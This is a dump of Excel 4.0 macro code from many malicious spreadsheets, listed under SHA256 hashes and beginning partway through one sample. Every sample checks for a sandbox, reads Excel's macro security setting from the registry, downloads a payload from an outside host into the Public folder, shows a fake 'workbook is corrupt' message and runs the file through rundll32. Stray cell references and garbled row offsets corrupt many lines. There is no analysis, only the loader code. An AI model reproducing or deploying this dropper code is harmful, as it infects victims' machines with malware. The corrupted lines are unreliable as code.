=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 25821076bde5f4075b4d0d791dfa5e97942b918032b95a22449795e1ae44c0fa
lAWGm4uhiE
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 25c3c44e3eb700bc26528cd5518d10f3c0ce9bbca42e558455f56b3c743a47bc
NsDpPc7D4T
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 260a1586c3aeca77e50aa4d34e4b79a8d96e0df8079a6cabab94340b2db55c99
eS2A4K5xgX
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D184D185D186D187D188D189D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H21H22H24
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://greentec-automation.com/wp-cran.php","c:\Users\Public\cskc75ef.html",0,0)L124L125L126L127L129L130L131L132L133L134L136L137L138L139
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://narensyndicate.com/wp-cran.php","c:\Users\Public\cskc7M1375ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\cskc75ef.html,DllRegisterServer",0,5)O149O150O151O152O153O154O155O156O157O158O159O160O161O162O163O164
=CLOSE(FALSE)

SHA256: 2672f0d5fea87c66056968b75cb7cbe1ab1385a3271742d4922bf3f2bf014a7c
pOmAsNXIr5
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 2aa9e690895bd08efe0bc1ea961e03f99fd366ac488464c1c7925523172cfaee
MM9DzzSjc8
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 2d14c9fcf22fbd93fca401026579176f511a7aa88bb9826e22ef75a37f89d45a
CYZyK6S7Yt
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\csg75ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ddfspwxrb.club/fb2g424g","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 2e07ec0a7f2338357785a19d9c9a50aec122628b1168873556b8e36fcd368c16
yECF3Ak94w
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B36B37B39B40B41B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D184D185D186D187D188D189D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H21H22H24
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://greentec-automation.com/wp-crun.php","c:\Users\Public\csg75ef.html",0,0)L124L125L126L127L129L130L131L132L133L134L136L137L138L139
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://narensyndicate.com/wp-crun.php","c:\Users\Public\bwep5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)N115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\csg75ef.html,DllRegisterServer",0,5)O149O150O151O152O153O154O155O156O157O158O159O160O161O162O163O164
=CLOSE(FALSE)

SHA256: 2e0d33fc6ee66508b5e5c1e7886e498005a940fd10203e5c44606cf137060e91
XzVSQSItQv
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 2ee2221f65c537ed6e6c2ff760c010a68ae28bb6eb8e3133f263399a3e7626f2
A55L5qvGJ1
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))A36A37A38A39A41A42
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)G20G21G22
=FREAD(R[-2]C, 255)
=FCLOSE(R[-I15]C)
=FILE.DELETE("c:\users\public\1.reg")J39J41J42J43J44
=IF(ISNUMBER(SEARCH("0001",R[-K37]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://efbzfyvsb.website/f2f23","c:\Users\Public\b7gf5yk.html",0,0)L132L133L134L135L137L138L139
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M114
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5yk.html,DllRegisterServer",0,5)N149N150N151N152N153N154N155N156N157N158N159N160N161N162N163
=CLOSE(FALSE)

SHA256: 2f287a26eab4d96d6be641b9b622c03dc24e1e500d6edc7f1d76d2ac7229b47d
5ATqhg28tm
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)

SHA256: 31d22dc2d95d1581210f46c52d21d22b04f660cc210160cafd38abd9fea0cc63
dFDmxOMPYV
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))B38B39B40B42B43
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)D190D191D192D193D194D195D196D197D198D199D200D201D202D203D204D205D206D207D208D209D210D211
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)H19H20H22H23
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)K54K55K56K57K58K60K61
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"http://fcowhcwsb.space/erg4ewr1","c:\Users\Public\b7gf5ef.html",0,0)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)M115
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\b7gf5ef.html,DllRegisterServer",0,5)N150N151N152N153N154N155N156N157N158N159N160N161N162N163N164
=CLOSE(FALSE)

SHA256: 341c8e54b1eb0d4d092825257143d28ebc8ab54587f650f5f4486494955bed7e
jyHQWsnVnj
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE))
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5)
=WAIT(NOW()+"00:00:03")
=FOPEN("c:\users\public\1.reg")
=FPOS(R[-1]C, 215)
=FREAD(R[-2]C, 255)
=FCLOSE(R[-3]C)
=FILE.DELETE("c:\users\public\1.reg")
=IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://assemble.sg/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0)
=IF(R[-1]C<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://cworld.top/wp-front.php","c:\Users\Public\c6sga5ef.html",0,0),)
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\c6sga5ef.html,DllRegisterServer",0,5)
=CLOSE(FALSE)